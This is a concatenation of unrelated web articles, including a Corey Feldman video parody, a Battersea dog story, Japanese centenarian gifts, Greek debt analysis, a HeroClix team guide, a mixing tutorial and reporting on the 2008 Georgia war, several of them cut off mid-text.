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Finally, after completing a full tour of the Feldmansion, Corey goes back to bed with a model who immediately rolls over and pretends to be asleep so she doesn't have to have sex with him:
Corey Feldman
"Not enough Listerine in the world..."
We're not going to claim sole responsibility for this music video, but we do feel somewhat complicit. You see, when we ran our earlier article on Feldman, the YouTube views for "Ascension Millennium" (the song alone) were in the double digits, and he vowed to ferociously defend his God-given right to host junior proms with beer spokesmodels. Fast forward a couple of months, and "Ascension Millennium" (the music video) has touched hundreds and hundreds of thousands (in the neurons, which have withered and died). Only J. Robert Oppenheimer knows what we feel right now.
J.F. Sargent has to admit that if he were as famous as Corey Feldman, he'd be doing things just as ridiculous. Follow him (Sargent, not Feldman) on Twitter, Tumblr, and Facebook.Iron constitution: Three pairs of knickers passed through Barney’s system (Picture: Clint Images)
Some dogs like chewing on shoes, others prefer the taste of houseplants – but this puppy clearly has a more sophisticated palate.
Barney the Staffordshire bull terrier likes to eat pants – and it seems he has a particular penchant for women’s underwear.
With an average of 14 dogs arriving at Battersea Dogs & Cats Home every day, staff are used to their unusual eating habits.
But even they were flabbergasted by Barney’s insatiable appetite for ladies’ knickers.
The nine-month-old has already digested three entire sets: two pairs of cotton pants and a black thong.
Veterinary surgeon Sam Barley said: ‘We thought we’d seen it all at Battersea, but clearly not. Who knows how Barney came to swallow so many pairs of pants.
Guilty… staff at Battersea have no idea how he came by his diet of delicates (Picture: Clint Images)
‘It will remain his secret but this little puppy is clearly a bit of a scavenger and we’ll be advising his new owners to keep him well away from the laundry basket and the washing line.
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‘Dogs can often eat the most unlikely things whether big or “smalls” in this remarkable case. Luckily for Barney he seems to have coped remarkably well.’
Barney was found wandering the streets of west London before he was taken to Battersea. After leaving a ‘rather large surprise’ on the floor, it was discovered he had swallowed a pair of women’s pants whole.
Two days later, another pair came out intact and an X-ray revealed a black thong in his stomach.
To give Barney a new home, call Battersea on 020 7622 3626.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Reaching 100-years-old is of course something to be celebrated.
But one government which issues congratulatory silver dishes to everyone reaching the timely age has decided to scale back its gifting.
And it's all down to an ageing population making the presentation no longer economically viable.
Japan's Respect for the Aged Day is an annual celebration where all new centenarians are presented with a silver sake dish called a sakazuki.
(Image: Getty)
The next presentations are due to be made on September 15, as the Japan Times reports, in recognition of the ageing achievement of seniors, but last year the tokens cost a staggering £1.3 million.
It's only set to get worse too, as Japan has one of the longest life expectancies in the world.
But the number of people reaching 100 compared to the time the gift was introduced in 1963 has created an expense which Japan are now keen to limit.
In 2014, a total of 29,357 people — including 25,000 women — became centenarians, compared to just 153 when the silver dish was first awarded, according to the Ministry of Health, Labor and Welfare.
(Image: Reuters)
The Ministry also predicts that the number could reach 39,000 in 2018.
They have a variety of solutions on the table, including sake dishes made from cheaper material, different presents entirely or even just a letter.
In Japan, women reach an average age of 86.83 years, while men can make an average of 80.50.When it comes to pointless (and bullish) reversion to the mean exercises,it seems nobody has a problem with saying stocks have to go back to 1,500 just because that's where they were, and the unemployment rate has to go back to 5% cause that's how we know the Fed is the immaculate and flawless piece of art it is, and always gets things under control to near-peak efficiency. Well, here at Zero Hedge we (again) decided to take the reversion to the mean approach and flip it, instead applying it to a deteriorating indicator, the labor force participation rate. The first chart below demonstrates the LFP rate, which a derivative of the chart we presented earlier, has now plunged to the lowest level in over 25 years, or 64.6% (gotta go back to December 1984 for the first time this was passed). So we decided to "normalize" the LFP by keeping it at the peak achieved at the turn of millennium, or December 1999, when it hit a peak of 67.1%. Now as everyone knows the US population has been soaring since then, and with the cost of living increasing ever more with each day, and as more and more family members are forced to join the work pool, it makes sense that in a normal economy, the LFP should continue rising instead of declining. We thus kept it constant at the 67.1% level (instead of doing the conservative thing and pushing it higher along the trendline), and ran the unemployment numbers through, assuming this part of the jobless equation was constant. To our surprise, we found that the U-3 rate (not the U-6), which today was supposed to be 9.5%, in fact turns out to be 13.0% as of July: an all time record save for the 13.6% recorded in December 2009. And if instead we use the trendline number of a 68.5% LFP rate, the unemployment rate today would be 14.7%. In retrospect we sympathize with Christina Romer's decision to get the hell out of Dodge.
Reported and adjusted labor force participation rate:
Running these numbers through the actual unemplyment calculation, reveals the following: while assuming a declining LFP rate we obviously get the 9.5% unemployment rate, assuming a peak 67.1% LFP results in a 13.0% unemployment rate. And if the labor force participation rate were to grow according to trendline, the jobless rate in the US today would have been reported at 14.7%, just about where the U-6 was reported, but based on an entirely different methodology.The fine lines between price and performance
Welcome to the most recent installment of the fabled Ars System Guide, a carefully-crafted resource for system building enthusiasts across the 'Net. The goal, as always, is to provide three solid setups for do-it-yourself computing enthusiasts.
Some lucky bastards have unlimited funds, while others have to pinch every penny, but it's possible to put together a potent PC for just about any budget. The key is targeting different price/performance points; to that end, our system guides offer three configurations. For each component, we'll explain why we think it's the best fit for the system, always keeping in mind that "the best component" depends on the goals you're trying to achieve (and the budget you're trying to achieve it with). If you disagree, let us know why; argue well enough, and you just might see your favored component make the next system guide.
If you're trying to build an inexpensive system, we've got your answer: the Budget Box. This puppy is dedicated to finding the least expensive options possible while still giving you full functionality. The Budget Box may sound cheap, but it's not. It's thrifty power, priced at under $800, and it can handle everything that Vista throws at it.
Our next step up the price/quality ladder is the Hot Rod. This is a system built for power, but with limited (read: realistic) funds; we're looking for the best "bang for buck" on this one. The Hot Rod is also a system that almost anyone can build. Rather than cook up some mineral oil-soaked, refrigerator-powered machine, this box will fulfill your power-user requirements with requiring anything "Xtreme!" We aim to keep the Hot Rod beneath $1,600, but performance is sometimes worth a few bucks extra.
Finally, there's the God Box, so called because your friends may well bow down before its splendor. Cost is no object; if a part performs, we're going to use it. Sadly, you probably can't afford it unless you've won the lottery or your company is paying the tab (are those different things?). Still, we're not throwing in diamond-encrusted heatsinks here; even in the God Box, there's no point in wasting money.Error: Embedded data could not be displayed.
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Greece and the End of the Euroland Fantasy
Events in Greece are not just a template for sovereign debt crises to come; they also spell the end of the Euroland Fantasy of ever-greater prosperity as a result of ever-greater centralization and integration.
The one undeniable truth about the debt drama in Greece is that each of the conventional narratives—financial, political and historical—has some claim of legitimacy.
For example, spendthrift Greeks shunned fiscal discipline: here’s an account from 2011 that lays out the gory details: The Big Fat Greek Gravy Train: A special investigation into the EU-funded culture of greed, tax evasion and scandalous waste.
Or how about: Greek reformers want to fix the core structural problems but are being stymied by tyrannical European Union/Troika leaders: The Greek Debt Crisis and Crashing Markets.
Rather than get entangled in the arguments over which of the conventional narratives is the core narrative—a hopeless misadventure, given that each narrative has some validity— let’s start with the facts that are supported by data or public records, and move to the inevitable consequences of those facts.
Events in Greece are not just a template for sovereign debt crises to come; they also spell the end of the Euroland Fantasy of ever-greater prosperity as a result of ever-greater centralization and integration of European nation-states, economies, fiscal policies, banking, trade and currencies.
The Greek Economy Is Small and Imbalanced
Here are the basics of Greece’s economy, via the CIA’s World Factbook:
Greece's population is 10.8 million and its GDP (gross domestic product) is about $200 billion (This source states the GDP is 182 billion euros or about $200 billion). Note that the euro fell sharply from $1.40 in 2014 to $1.10 currently, so any Eurozone GDP data stated in dollars has to be downsized accordingly. Many sources state Greek GDP was $240 billion in 2013; adjusted for the 20% decline in the euro, this is about $200 billion at today’s exchange rate.
Los Angeles County, with slightly more than 10 million residents, has a GDP of $554 billion, more than double that of Greece.
The European Union has over 500 million residents. Greece's population represents 2.2% of the EU populace.
External debt (public and private debt owed to lenders outside Greece):
$568.7 billion (30 September 2013 est.)
National debt:
339 billion euros, $375 billion
Central Government Budget:
revenues: $119.5 billion
expenditures: $127.9 billion (2014 est.)
Budget surplus (+) or deficit (-):
-3.4% of GDP (2014 est.)
Public debt:
174.5% of GDP (2014 est.)
Labor force:
3.91 million (2013 est.)
GDP - per capita (Purchasing Power Parity):
$25,800 (2014 est.)
Unemployment rate:
26.8% (2014 est.)
Exports:
$35.8 billion (2014 est.)
Imports:
$62.8 billion (2014 est.)
Imports - partners:
Russia 14.1%, Germany 9.8%, Italy 8.1%, Iraq 7.8%, France 4.7%, Netherlands 4.7%, China 4.6% (2013)
Reserves of foreign exchange and gold:
$6.433 billion (February 2015 est.)
By 2013 the economy had contracted 26%, compared with the pre-crisis level of 2007. Tourism provides 18% of GDP.
What can we conclude from this data?
Greece’s central government is roughly half of its GDP (by some measures, it’s 59%), meaning that the national economy is heavily dependent on state revenues and spending. For context, U.S. government spending is about 20% of U.S. GDP. As a rule of thumb, the private sector must generate the wealth that pays taxes and supports state spending. This leaves a relatively small private sector with the task of generating enough wealth to support state spending, pay interest on the national debt and pay down the principal.
Greece runs a trade deficit, i.e. a current account deficit of almost $30 billion annually. In the 14 years that Greece has been an EU member, this adds up to roughly $400 billion—a staggering sum for a nation with a GDP of around $200 billion.
Austerity and a reduction in borrowing/spending have devastated the Greek economy, as GDP has shrunk 26% while unemployment has soared to 26%.
While public debt is pegged at 175% of GDP, external debt is roughly 285% of GDP—a much larger sum. By all accounts, a significant portion of the Greek economy is off-the-books (cash); even if this is counted, the debt load on the private sector is extremely high.
Foreign exchange reserves and gold holdings are a tiny percentage of government spending and GDP.
This data reflects an imbalanced, heavily indebted, heavily state-centric economy with major systemic headwinds.
The Problem with Not Having a National Currency
The problem with not having a national currency is that there is no mechanism to rebalance trade (current account) imbalances.
Ideally, a nation’s exports and imports balance, but in the real world, nations generally run trade surpluses or deficits. A trade deficit is a negative balance of trade incurred when a country's imports exceed its exports. A trade deficit is settled by an outflow of domestic currency to foreign markets.
Countries with trade surpluses end up with cash from their trading partners, while countries with trade deficits must pay the difference between their exports and imports.
Trade must balance: every nation cannot run a trade surplus. The problem for nations with current account deficits is: where do they get the money to settle their negative balance of trade?
Nations with their own currencies can simply create the money out of thin air. This is in essence how the U.S. supports its massive trade deficits: the U.S. imports goods and services and exports U.S. dollars in exchange for the goods and services.
This works as long as the country running trade deficits doesn’t print its currency with abandon. If a nation prints its currency in excess, the currency loses value, and imports become more costly to residents. As imports rise in cost (priced in the local currency), people can’t afford as many imports as they once could, and imports decline, reducing the trade deficit.
On the other side of the trade ledger, the exports of the nation that is depreciating its currency becomes cheaper in other currencies. This makes the nation’s exports a relative bargain, and this tends to increase exports as global buyers take advantage of the cheaper goods and services.
In this way, national currencies provide a mechanism for rebalancing trade deficits. By eliminating national currencies, the Eurozone also eliminated the only market mechanism for rebalancing trade imbalances.
With no currency mechanism left, nations borrow money to fund their trade deficit. This is the engine of Greek debt since that nation adopted the euro in 2001.
If Greece had kept its national currency, trade deficits would have declined as the Greek currency depreciated and the cost of imports soared. Lenders would not have based their loans on the illusory guarantee of Eurozone membership.
For nations running large structural trade deficits, membership in the Eurozone was a guarantee of financial disaster, as the way to fund the deficit within the Eurozone was to borrow more money.
There is no way for Greece to fix its debt problem if it keeps the euro as its currency. Every purported solution that doesn’t address the core cause of the debt is mere theater.MOSCOW (NYTIMES) - Police arrested more than 200 people in a roundup Sunday (Nov 5) that the local news media linked to an obscure right-wing movement that had been calling for a repeat of the Russian Revolution, timed near its 100th anniversary.
The movement, called Artpodgotovka, or Art Preparation, had agitated in online posts for followers to prepare for revolution, but had not been widely known or taken seriously before this weekend.
The tiny turnout did not seem to pose any real threat. The people who followed directions in the group's online posts and showed up at noon Sunday on Manezh Square, in the center of Moscow, milled about in seeming confusion before officers arrested them.
"It was a very strange picture," said Alexander Verkhovsky, director of Sova Centre, a non-governmental organization that monitors right-wing groups in Russia.
The movement's leader, Vyacheslav Maltsev, a video blogger based in France, had for months been posting YouTube videos calling on followers to revolt on Nov 5. He called it "revolution 2017." Nov 5 falls a day after a holiday in Russia known as Unity Day, a successor to the former Soviet celebration commemorating the 1917 Bolshevik Revolution.
Maltsev's planned event may have overlapped with the aftermath of protests by nationalists who have used Unity Day to stage marches against immigrants. Many nationalist activists were out on the streets over the weekend.
The timing created some initial confusion over whom police were detaining.
Several dozen protesters were detained at the nationalist march Saturday, on Unity Day, which was unrelated to Maltsev's call for revolt.
Verkhovsky, a longtime observer of nationalist groups, said many of the same people had turned out for both events.
Artpodgotovka is a nationalist and populist movement that has tried to emulate European far-right organisations. While the Kremlin has financed and is suspected of maintaining ties to European far-right parties and organisations, the arrests over the weekend underscored its scant tolerance for such groups at home.
Police reported 230 arrests in Moscow on Sunday, according to the Interfax news agency. Similar gatherings took place in other Russian cities.Julian Huppert, Lilian Greenwood, Robert Goodwill and John Humphrys at The Times's London headquarters Amritpal Virdi
The roads minister rebuffed calls from cycle safety campaigners yesterday to lower the default city speed limit from 30mph to 20mph.
The major parties clashed in a special hustings on improving cycle safety hosted at The Times’s London headquarters.
Robert Goodwill, the Conservative transport minister, was pitted against Lilian Greenwood, Labour’s shadow transport minister, and Julian Huppert, the Liberal Democrat MP.
The panel, chaired by John Humphrys, the presenter, and assembled by the UK Cycling Alliance, was asked about calls to make 20mph the default speed limit in built-up areas. Research from the RAC found that 20mph zones can reduce road casualties by around 60 per cent.
Mr Goodwill said that local authorities already had it in their power to introduce 20mph zones where they…In this era of stilted, principle-lite political debate, the drugs debate is the most interminable of all. The two sides are entrenched and yet feeble. The draconian status quo feels hollow — an inherited policy, rather than a moralistic prohibition. But, instead of profiting off this ambivalence, the pro-legalisation voices have all but failed to win policymakers, or the public, over to their side. A significant proportion of the population take illicit drugs. A few spliffs and the odd line remain a rite of passage among Britain’s young. But there’s still a profound anxiety around legalisation — even among Friday-night dabblers and fairweather stoners.
It is this stalemate that has seen many pro-drug liberals go hoarse and give up. Disgraced plagiarist and former Provigil fiend Johann Hari has just penned a book about the war on drugs, Chasing the Scream. It’s dominated by a sense of self-defeat. Rather than loading it with the usual pro-legalisation arguments, Hari has produced a handwringing patchwork of interviews with addicts and soft-science musings. ‘I didn’t want to write a 400-page polemic about the drug war… polemic very rarely changes people’s minds’, he told the Guardian. But a new round of tragic drugs-related deaths has spurred another routine, pro-legalisation kickback. As of Monday, four people have died (three in Suffolk, one in Telford) after taking fake ‘Superman’ ecstasy pills — so called because they are embossed with the Man of Steel’s insignia. The pills are made of PMMA, a substitute for MDMA that was developed after safrole, one of the precursor chemicals of MDMA, was banned by the UN. PMMA is far stronger but takes more than twice as long to kick in, meaning revellers often take more prematurely, thinking they’ve been sold a weak batch.
Former UK government drugs adviser David Nutt was the first to weigh in, laying the blame for these deaths right at the feet of the government and its ‘illogical and punitive drugs policy’. Yet the response to this latest tragedy felt tired and listless. Yes, the drug war has been a disaster: it continues to fill up prisons, needlessly criminalises problem users, and puts lives at risk — both at home and abroad. But, as well made as some of the legalisation arguments are, we’ve heard it all before, and it’s making little difference. Even the most forthright and sincere critics of the war on drugs give off the defeated air of people banging their heads against the wall, never cracking the edifice. In these times of political inertia, it is easy to write off change, blame the moralising press and the posturing politicians who play up to it, and throw in the towel. But that’s a copout. It fails to address why the war on the war on drugs is an even bigger failure. But the reason for this is simple. The drugs debate is not blighted by too much polemic, but too little. Because when you dig deeper into the arguments being made, you quickly realise there’s barely an l-skin between them.
Whichever side people tend to fall on in this debate, the same tactics are deployed. The arguments are uniformly pragmatic. Whether it’s brow-furrowing conservatives, anxious about newly legalised substances falling into the hands of impressionable children, or bleeding-heart legalisers decrying the effects of punitive drugs laws on vulnerable would-be addicts, harm reduction is the name of the game. But this is wobbly ground on which to do battle. Harm is a relative term. While pro-legalisers are always armed with stats and grim anecdotes, the opposition can always pontificate about the harm of drugs on society as a whole. Flinging competing scare stories at one another only obscures the real issue here: freedom – the freedom, that is, to pollute our bodies as we see fit and to make our own moral decisions as to what effect this might have on our lives. This is a concept alien to both sides of the mainstream drug debate. While prohibitionists feel only the law can save us from smack-addled destitution, the legalisers merely take a more insidious approach: legalise drugs, sure, but only so we can regulate, monitor, nudge and nanny you off the hard stuff. The fact that David Nutt, who favours cannabis only because it is a more chilled-out alternative to the demon |
the image of "Rampage" Jackson howling after knocking out Chuck Liddell at UFC 71.
The other nine images after the jump.
Photo by Jed Jacobsohn/Zuffa LLC/Zuffa LLC via Getty Images
The frustrations of "KID" Yamamoto's inability to handle Demetrious Johnson's speed and timing, all in one shot.
Photo by Jed Jacobsohn/Zuffa LLC/Zuffa LLC via Getty Images
I'm not sure if Anderson Silva's mask messed up Vitor Belfort's psyche, but it sure did pump me up for the fight.
Photo by Esther Lin for Fanhouse
Michihiro Omigawa ran out of must-decisions when he returned to the UFC to fight Chad Mendes.
Photo by Esther Lin for Fanhouse
The moment Steven Seagal became forever entwined with mixed martial arts.
Photo by Ric Fogel for ESPN.com
Forrest Griffin transforms Rich Franklin's face from Jim Carrey to Jake Shields.
Photo by Jed Jacobsohn/Zuffa LLC/Zuffa LLC via Getty Images
Jon Jones shows off the new techniques he learned from Street Fighter.
Photo by Esther Lin for Fanhouse
Donald Cerrone giving Paul Kelly the ol' Tony Blair treatment.
Photos by Jed Jacobsohn/Zuffa LLC/Zuffa LLC via Getty Images
Jones attempts his encore on March 19th.
Photos by Jed Jacobsohn/Zuffa LLC/Zuffa LLC via Getty Images
Back in fans' good graces once more.I didn’t want to dive into chases so quickly from Avengers Defenders War, but I feel that I have to cover this chase before World’s takes place. Let’s build around the stunning Samantha Wilson Cap!
Of all the chases in Avengers Defenders War, I honestly feel that Samantha Wilson is going to be among the best. If you read my set review, I talked about how this figure breaks a fundamental rule of the game that was implemented long ago. With World’s coming up this month (holy crap, where has the year gone?), I have a sneaking suspicion that we’ll see Sam pop up.
Let’s cut the intros and get right into this, shall we?
Sam clocks in at 70 points, which is a modest price tag to pay for a chase. She’s got standard combat symbols with Indomitable, 4 range with a single target, and 6 clicks of health. She rocks standard powers and a single trait. For keywords, she’s a little lacking with only two, but they are strong with both S.H.I.E.L.D. and Soldier, so it’s pretty easy to build a theme team around her. She doesn’t have any improved movement or targeting of any kind, so what you see is what you get.
Regarding her dial, she starts off with a 7 Charge, which drops to a 6 Sidestep on click four and runs through the end of her dial. Attack starts with three clicks of 11 Super Strength, drops to a 10 with no powers on click four, and finishes out with a basic 9 attack on her last click. Her defense is a little worrisome with 18 Combat Reflexes up front, which shifts to a 17, then back to an 18, and drops again to a 17, finally ending on 16 Regeneration. For damage, she has 2 across the board with two clicks of Perplex, three clicks of Probability Control, and a final click with no powers.
Something special about this dial that I want to highlight; she has both Charge and Indom for under 100 points. That’s becoming a rarity these days as we see a lot of figures (including chases) getting either a move-and-attack power or Indom, but not both. With the way the game is shifting and pieces are built, you’re going to get more bang for your 70 point buck with Samantha. Still, until we get to her trait, nothing is really too explosive to make her a hot item. Let’s look at that trait now.
WWII PILOT: If Captain America is being carried, modify the carrying character’s speed value by +3. If Captain America has no action tokens, she can be given a non-free action after being carried.
Yes, Samantha here breaks the rule of “no action after carry” and makes her an insane value. Not only does she get to take any action (not just an attack), she adds +3 to the movement of whomever is carrying her. While the current rules will only give that figure a +1 (-2 for carrying, +3 for her trait), this will actually be better with the new rules as each figure just gets a -1 for each character they’re carrying.
That’s all there is to her, but don’t let her simplicity fool you; Samantha is the complete package. The damage potential and reach this figure has is outstanding and your opponent will be hard-pressed to find a safe space on the map under the right conditions. In order to properly gauge Samantha, it’s time to kick her to the Positive Vs. Negative analysis.
Positives: Breaks a fundamental rule and can be given an action after carry. Charge + Indom. Good defense in close combat. Perplex and Prob give her lots of utility. Regen on final click. High attack values. Increases her taxi’s speed. Good keywords.
Negatives: Low movement. Squishy. Low damage values. No team abilities. Lack of improvements (movement/targeting). Pin cushion for ranged attacks.
Realistically, Cap is a piece that you either need to hide her until the time is right or you need to strike immediately and KO/heavily wound the piece that’s going to do damage to her. Keep in mind that although she has Super Strength to help out with her low damage value, you can’t carry someone who is holding an object. This will force you to think carefully about where you place items and commit to certain ‘heat points’ on the map. Lastly, with the rules changing this summer, Cap will be a little easier to keep alive thanks to her last click of Regen that will now guarantee at least 1 click of health (and back into Prob).
So what does Samantha need to succeed? No doubt about it, you need a taxi. With a trait like this, there’s simply no reason to not use one, and there’s no reason to use TK. Other bodies would probably be very good to tie ranged attackers up and block line of fire to Sam. More Perplex could be a great option to offset her low damage in case you can’t get to an item, or increasing her movement so that she can get to one easier. A dive partner would also be a very good idea, preferably someone with Empower. Outwit would also be particularly strong so that her hits deal a lot of damage.
For the builds today, I’m going back to 300 Modern, including resources and possession. This is the staple format for the rest of the year, so Limited builds don’t really work anymore. Does that mean all my teams will have resources? Of course not. If you read my article last week regarding rotation, you’ll know that we only have 3 different resources to choose from, and they need the right pieces to be added. Anyway, onwards!
300 Point Modern Captain America (Samantha Wilson) Team
This team completely throws the rules back into WizKids faces with not one, not two, but three pieces that can attack after being carried. We’ve already talked about Sam in depth, so let’s cover the rest.
I’ve used Doctor Octopus a ton and for good reason; the guy is just nutso for 80 points. With 4 attacks, Outwit, and Willpower, the amount of damage he can pour out is pretty crazy, and with Giant Reach: 2, he can hit pretty much anyone he wants without forcing himself into being based. With two of these jerks, we have two uses of Outwit to counter out defense powers (or retaliatory movement powers), and 9 attacks in a single turn (4 from each Doc Oc and one from Sam Cap). With these two, Cap would probably save her Perplex and add it to one of the Doc Oc’s so that he raises to an 11 and hits just about everyone on their team into their later dial so that the other two can clean everything up.
I wanted to use Overdrive, but I came across a problem while building the team. With only 3 actions, we don’t have enough to activate both Doc Oc’s and take an action with Samantha. Enter Vanisher. Although he doesn’t move as far as Overdrive does, he does have Phasing and the Brotherhood of Mutants team ability, meaning his move actions don’t count against your action total. He’ll suffer -2 to his movement for carrying, but Sam will pump that back up to a 13 movement which rivals Overdrive and we can still activate our firing squad.
For the last 30 points, I wanted either a source of Perplex to help the other Doc Oc out or Prob to ensure that we nail a hit that we really need if we miss (or crit miss). I opted for Prob as we do already have a Perplex on the team with Sam, and Domino is the best you can get for under 30 points. You can creep her up into Stealth so that she can see all the action and provide support from afar. While she will take your actions to get into place and we can’t carry her as we’re maxed out on Vanisher, this team won’t strike until the time is right, so you can move her on your first and third turns to get into position.
With 5 points remaining, an ID card is an auto-include, and I went with the Level 7 card with the new Chase Hawkeye. It’s pretty nice being able to call someone in that can also hit everyone on the enemy team and can mix things up if we need it. Also, all three of our big characters can call him in, so we aren’t relegated to just our highest point figure having to decide if they want to call someone in or attack.
This team throws caution to the wind and just throws everything it can at the opponent with a full-on Blitz strike. What I really like about this setup is that a lot of the bigger staple pieces out there aren’t immune to it. Jakeem can take Combat Reflexes to make it harder to deal with, but once the new rules change and Outwit gets stronger, that isn’t the case. Bizarro Green Arrow cries in a corner as he becomes completely useless with this build. Even if you miss half your attacks, you’re still landing 4-5 strikes in a turn.
The next build doesn’t have any resources and possession, so I suppose you could say it’s Limited, but I’ll still keep it under just Modern.
300 Point Modern Samantha Wilson Team
This build isn’t as crazy as the other as it doesn’t throw all it’s eggs into one basket and hopes that it doesn’t get hard-countered. Instead, this build is more balanced although it does lack a dedicated ranged attacker.
When I thought about taxi’s, I still liked the idea of Overdrive, but then I remembered the insanely good Golden Age Deadpool! This dude can carry two characters as long as they’re lower points than him, and he has Defend traited with an 18 defense. With the Comic Panels and 10 movement, he’s a great candidate for getting Captain America into position. He’s also got indom, meaning both of our primary attackers don’t need to rest as often. He solves our problem of lacking a ranged attacker on clicks two and three (which pairs nicely with Captain America’s Perplex), and also has Regen at the end of his dial. He fits really well with Cap. For comic panels, make sure you bring Combat Reflexes, Energy Shield/Deflection, and Stealth at the very least.
I wasn’t sure if I wanted Peggy Carter or the common Michelangelo for the other character that we can carry, and the lack of Outwit pushed me towards Peggy. There’s not much to say about her that I haven’t covered before. Mass power countering is a big deal and can really turn the tide. She’s also a decent ranged attacker and will be relatively safe since Golden Age Deadpool will be able to carry her into enemy territory, giving her Stealth and Shape Change.
I knew the one thing the last build lacked was tie-up pieces. I figured something that could produce a lot of tokens would be a great bet, but Penguin is a little slow and Devil Dinosaur is too expensive. I opted for Pizza Face as the Living Pizza bystanders have both flight to get anywhere they need and Plasticity to further make people stick around. Since they’re tiny, they won’t block our own lines of fire for Peggy, and their Poison will be gross against the lack of reducers being handed out these days. Pizza Face also gets a really neat Mind Control that can help a ton.
For my support line, I went with Night Nurse and Henry. The Nurse will keep our attackers healthy as they retreat from battle so that we can get them top-dial, and H.E.N.R.Y. serves as our all-around +1 to damage to all our guys. While we’ll have to either burn actions to get him out there or have someone else carry him, he’s still a very valuable asset. Unfortunately Deadpool strictly states that he can carry up to two figures, so we can’t get him out there with both Cap and Peggy.
Like I said, this build isn’t quite as brutal as the last team, but it has more staying power. Again, no resources and no possessors. I would love to add a possessor to Cap, but she’s so efficient that it might not really be that necessary, although Proteus could be very good on her.
What are your thoughts on these builds? Is there something I missed with Captain America, perhaps a great dive buddy with her? Have you built an awesome theme team with her that you wish to share? I’d love to hear from you! Leave your comments below.
That wraps up this week for Clix Fix! Join me Thursday on www.TwoClicksFromKO.wordpress.com as the second article will go live, and check Apex Insiders this month as I’ll be posting something leading to World’s. Take care everyone!
Advertisements“I look at a mix like a rainbow,” says Cian Ciarán.
“When everything clicks into place and finds a home,
you have this complete, colorful creation.”
Songwriter, keyboardist, vocalist, and producer Cian Ciarán is one fifth and founding member of the legendary alternative rock/pop band Super Furry Animals. For 20 groundbreaking years, Super Furry Animals have been credited with re-establishing not just Welsh, but British music’s credibility.
As well as writing and recording under his own name, Ciarán has produced electronic music-orientated projects under the name Acid Casuals and remixed, guest recorded, and produced with artists including Paul McCartney, Mogwai, Manic Street Preachers, and Kaiser Chiefs.
Strangetown Records was set up as an outlet for members of Super Furry Animals’ own music. But lately, I have mixed and produced more and more bands, and Baby Queens are one of the latest to come through my door. At Strangetown Records, we have limited resources, so I mix everything in the box — a near impossible task in my opinion without UAD on board!
“Red Light” is one of the sparsest tracks I've worked on — which has its pros and cons — nothing to hide behind but a lot of space to occupy.
Here is the final mix of the track:
Transcendent Reverbs and Echoes
Often times reverb and echo are used in a subtle way to sit an instrument in a mix. However, a track like “Red Light” allowed me to use reverb and echo in a way where you can hear very clearly how they are used — almost as instruments in their own right.
I've owned many a hardware version of the Roland Space Echo, all of which are gone. So when UA released the Roland RE-201 Space Echo plug-in, I instantly fell in love again! It is integral to this track and it wouldn’t have nearly the same vibe without it. I also coupled the Space Echo with the EMT 140 Classic Plate Reverberator plug-in.
Here is the drum groove dry:
And here is the drum groove with the Space Echo and EMT 140:
Together, both plug-ins perform a dance, answering one another, which makes the drums drift effortlessly through the track, taking you on a dream-like journey.
Vintage Guitar The guitar was recorded direct and UAD came to the rescue with the help of the Softube Vintage Amp Room plug-in. I love this plug in for the visual presentation alone! I opted for the “Fender”-like amp model. Here is the DI guitar track dry: Gibson no amp And here is the guitar with the Softube Vintage Amp Room: Gibson W amp I got the clean, vibey tone I was looking for, and some cool tremolo to add a nice rippling texture as well.
Shaping the Lead Vocal
With so much room to play with in the overall mix, the vocal could have been manipulated in various ways. Instead, I opted for a dryer sound, which I believe gives the vocal and the track a more intimate feel.
I used the Studer A800 Multi-Channel Tape Recorder plug-in as the first insert on the vocal chain as an EQ. It's such a versatile plug-in. I can use it to effect in different ways —overdrive signals, compression and saturation, or as an EQ for low-end warmth or high-frequency sparkle.
I also used an 1176LN leveler from the 1176 Classic Limiter Plug-In Collection, a Neve 1081 Classic Console EQ plug-in, and Precision Multiband and De-esser plug-ins.
Here is the vocal dry:
And here it is with UAD plug-ins:
You can hear how the Studer plug-in really opens up the sound and gives it room to breathe.
Check out Baby Queens' "Red Light" on iTunes.
See the Apollo Twin commercial featuring "Red Light" here.
Studio shot - Emyr Young
Portrait - Warren Orchard.
— Cian CiaránAn escalating conflict here erupted into full-fledged war when Georgian forces began shelling Tskhinvali on the night of Aug. 7. Russia responded by sending columns of armor into South Ossetia and Abkhazia. Russia routed the Georgian Army, and then recognized the regions as sovereign nations, pledging to protect their independence with its military.
Georgia has reported more than 400 deaths in the war; Russia’s prosecutor’s office has so far reported 162. Some 30,000 ethnic Georgians who were driven from their homes remain refugees, according to Amnesty International, and Ossetian militias razed their villages to the ground.
In a speech on Friday, Mr. Saakashvili made the case he has made since the beginning: that a Russian invasion was already under way on the night of Aug. 7, and that the attack on Tskhinvali was defensive.
“Our beloved nation was fighting for its very existence,” he said. “The heirs of the old K.G.B. decided to put an end to what they call the ‘Georgian project,’ our collective attempt to build a European state in a corner of Europe that had never before had one.”
President Dmitri A. Medvedev of Russia, in remarks to filmmakers in Moscow, described the decision to send in troops as the most difficult of his life.
Photo
“Each time I remember these events, I rewind the tape, as they say, and realize that on one hand, we had no other choice in that situation,” he said. “On the other hand, the events were unfolding under the worst-case scenario, probably, the most sorrowful scenario.”
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Russia responded “harshly” to Georgia, he said, “saving hundreds and thousands of lives and restoring peace in the Caucasus that was at serious risk.”
Since the collapse of the Soviet Union, South Ossetia has been cut off from Georgia politically and economically, and Tskhinvali came to feel less like a city than a village, with passing cars kicking up clouds of dust. Its prewar population was estimated at 70,000 — including Ossetians and many ethnic Georgians, who farmed on the lush strip of land north of the capital. Both groups, on Friday, were thinking about what they had lost.
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Mr. Tedeyev, 47, sat in the shade of a tree in his courtyard, stone-faced. He has four memorial services to go to next week — among others, for his 22-year-old son, who was shot by advancing Georgian infantry when he tried to drive north to Russia. Mr. Tedeyev’s mother was killed moments before, when a shell hit the car.
Mr. Tedeyev grew up in Tbilisi, the Georgian capital, and has many relatives in Georgia, but since his son’s death he has severed all contact with them. He has heard from only one of them — a favorite aunt — and when he heard her voice on the phone he hung up. He smokes two packs of cigarettes every night, he said, thinking obsessively about that drive out of the city.
“I don’t like to see people,” he said. “I sit quietly alone in a room.”
On the other side of the border, Nana Tsitsuashvili, 50, dissolved into tears as she stood in Gori’s central square before the Berlin Wall exhibit. A year ago, she fled Gori when it was under bombardment; nine of her neighbors were killed, she said, and she still has trouble conceiving that Russia would use bombs on civilians. But Nino Gabinashvili, 16, one of the students who gathered to form a Georgian flag, had no such difficulty.
